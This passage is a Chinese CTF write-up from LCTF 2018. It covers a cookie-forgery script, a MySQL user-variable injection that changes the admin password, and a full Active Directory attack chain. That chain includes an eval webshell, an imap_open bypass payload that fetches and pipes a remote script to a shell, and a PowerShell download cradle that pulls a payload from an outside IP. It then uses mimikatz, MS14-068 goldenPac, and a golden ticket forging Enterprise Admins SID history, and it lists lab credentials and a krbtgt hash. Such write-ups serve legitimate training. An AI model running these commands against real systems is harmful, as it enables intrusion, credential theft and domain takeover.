return False
return True
def parse_token(info):
info_, hash_ = str.split(info, ".")
username = str(base64.b32decode(bytes(info_, 'utf-8')), 'utf-8')
for i in range(0, len(username)):
u = username[i]
h = hash_[0+16*i:16*i+16]
if u in dic.keys():
dic[u] = h
def parse_session():
return "%s.%s" % (
str(base64.b32encode(bytes("admin", 'utf-8')), 'utf-8'),
"".join([dic[n] for n in "admin"]),
)
def loop():
while check_hash() is False:
r = requests.get(url)
parse_token(r.cookies["user"])
print(dic)
r = requests.get(url, cookies={"user": parse_session()})
print(r.text)
loop()
年久失修的系统 [0 solved]
打开题目是一个网站, 有注册, 登录, 设置motto, 修改密码, 发言这五个功能.
大家首先想到的可能都是发言和设置motto的地方可能有xss, 但是试过了之后就会发现都转义了, 是没有办法xss的.
再回来看, 注册的时候有用户名6~18位的限制, 也暗示着预置admin这个五位的账号有特殊之处, 肯定是想到要想办法登陆上admin这个用户
可以先尝试一下登陆和注册的功能, 但是这里的正则卡得很死, 再加上长度的限制, 很难想到注入的思路, 覆盖也覆盖不掉.
user.php这个页面用一个GET参数userid来标记用户, 如果访问自己的user.php, 页面上会多出来修改密码和设置motto的功能. 我们来试一下提交修改密码请求的时候改一下id, 比如?userid=10006-1, 页面提示了没有权限, 这正是说明userid这个参数在改密码的逻辑当中是有用的, 也说明了id这个参数存在注入, 只不过这个注入点被正则限制得很死, 没有办法直接在这里盲注, 最多改变一下id的取值. 那我们退一步, 能不能通过这个id参数改掉别人的密码呢?
提示没有权限, 很可能是第一步用userid查询校验了登陆态, 然后用userid作为条件去改了数据库里的密码. 事实上也是这样的, 开发同学校验的是SESSION里面的另外一个字段username, 而后用了id去update.
能不能让userid在select的时候符合校验, 在update的时候又成为我们想构造的数值呢, 还要避开正则的过滤.....
是可以的, 要想办法让这个userid这个参数在select的时候产生一些运算把自身的值改变, 到下面的update中变成别的值. 这两次查询是在一次数据库会话中的, 我们可以自己定义一个用户变量, 在一次会话中都有效.
mysql> select @a:=@a is not null;
+--------------------+
| @a:=@a is not null |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
mysql> select @a:=@a is not null;
+--------------------+
| @a:=@a is not null |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
算好你自己的id和admin的id的差
POST /user.php?userid=10094-9921*@a:=@a is not null HTTP/1.1
第一次是10094-0, 第二次是10094-9921
登进去admin之后有个后台, 里面有个orderby注入, 没过滤, 随便注出来就行了
God of domain-pentest [1 solved]
前排先感谢各位师傅的手下留情,让我们的运维压力少了不少压力。
整个域环境其实挺难搭的,尤其是搭在腾讯云上,由于腾讯云只支持windowsserver虚拟机,以及本地管理员用户登录,导致我无法在172.21.0.8上登录域用户,所以大家也无法抓到域用户的密码,所以只好把域用户写到题目描述中了。
拓扑
入口
首先代码如下
<?php
highlight_file(__FILE__);
$lshell=$_GET['lshell'];
eval($lshell);
var_dump($lshell);
NULL
解法一
入口很简洁,一上来就给了你一个一句话木马,但是看一下phpinfo会发现我限制了严格的disable_function和open_basedir
这里首先我们最终目的是bypass open_basedir,查看任意目录的文件,但是常用的方法我都禁止了,所以解决问题还得回到bypass disable_function,这里丢一个最新的bypass方式
https://github.com/Bo0oM/PHP_imap_open_exploit
可以通过这个payload反弹shell
%24server%20%3D%20%22x%20-oProxyCommand%3Decho%5CtY3VybCB2cHMucHVwaWxlcy5jb218cHl0aG9u%7Cbase64%5Ct-d%7Csh%7D%22%3B%0Aimap_open(%27%7B%27.%24server.%27%3A143%2Fimap%7DINBOX%27%2C%20%27%27%2C%20%27%27)%20or%20die(%22%5Cn%5CnError%3A%20%22.imap_last_error())%3B
/var/www/ew.txt
这里提供了10个socks5 端口代理,供各位师傅代理进内网,
解法二
nmap直接扫,发现1080-1090端口开放是代理端口,直接链接
解法三
ROIS的师傅构造了一个一句话版的regork,膜
地址https://github.com/zsxsoft/reGeorg
子域-PC
这里有两种方式可以getshell
- proxychains4 代理一下nmap扫内网,发现172.21.0.8开放了80端口,访问一看是个内网的phpstudy,那就可以用默认密码root,root登录phpmyadmin,修改general log为ON,general log file为C:\phpStudy/PHPTutorial/WWW/xxxx.php
可以getshell
- ms17-010直接打
getshell后打开cmd使用cobaltstrike的payload
!()[https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/lctf2018/Snipaste_2018-11-18_17-52-09.png]
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.199.27.197:8000/aaa'))"
在shell上执行,可以得到回弹的shell
查看下权限是本地管理员权限,那么可以直接用mimikatz抓取密码
!()[https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/lctf2018/Snipaste_2018-11-18_17-55-47.png]
根据题目描述,域用户为web.lctf.com\buguake,密码为xdsec@lctf2018
子域-域控
通过
ipconfig /all
可以得到子域域控的ip地址
172.21.0.7
收集域控信息
nltest /dsgetdc:web.lctf.com
可以得到域控的hostname
一切准备妥当后,我们可以尝试一下ms14-068拿子域域控
python goldenPac.py -dc-ip 172.21.0.7 -target-ip 172.21.0.7 web.lctf.com/buguake:'xdsec@lctf2018'@sub-dc
getshell
父域-域控
老规矩通过
ipconfig /all
可以得到父域域控的ip地址
172.17.0.10
收集父域域控的信息
nltest /dsgetdc:lctf.com
这里是本题重要的一个考点,修复了14-068,想拿父域域控需要设计到跨域渗透的问题。所以我们可以利用域信任关系的漏洞进行攻击
参考资料http://www.4hou.com/technology/10049.html
如文中提到
由于信任在Active Directory林中工作原理的原因,sidHistory属性(PAC中的“ExtraSids”)在林的域内比较重要,因为这些SID在“SID筛选”保护的跨域引用中未被滤除掉。因此,将其sidHistory 或 ExtraSids设置为“Enterprise Admins”SID(仅存在于林根中的域用户组)的子域中的任何用户将有效地工作,就好像他们是企业管理员一样。正如微软已经知道这是一个问题,而且至少从 2005年的ITPro Windows文章以及几乎可以肯定之前的知识已经完全公开,sidHistory 是一个非常难以修改的受保护的属性。
我们可以通过设置一个用户的sidHistory 或 ExtraSids为“Enterprise Admins”SID,也就是企业管理员组的SID(企业管理员组由每个域的域管组成),这样当我们尝试访问一个新的资源时,如果SID或SID历史记录匹配,则根据ACL中指定的访问权限授予我们访问权限。
那么我们应该如何伪造这个sid history呢,这里我们就用到了黄金票据(一种有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的)的原理,只要我们能获得域账户krbtgt的hash值,便可以对其任意域用户的sid history进行操控。
参考链接:https://www.cnblogs.com/backlion/p/8127868.html
获取子域和父域的sid
获取子域控krbtgt的密码hash值
kerberos::golden /admin:administrator /domain:web.lctf.com /sid:S-1-5-21-508737280-3758319117-1445457868 /sids:S-1-5-21-35370905-2178818314-1839806818-519 /krbtgt:42cb5299c2e40ad7d04cb2d7d16f3a46 /startoffset:0 /endin:600 /renewmax:10000 /ptt
查看票证是否注入成功
flag就在父域域控的桌面上
Comment Closed.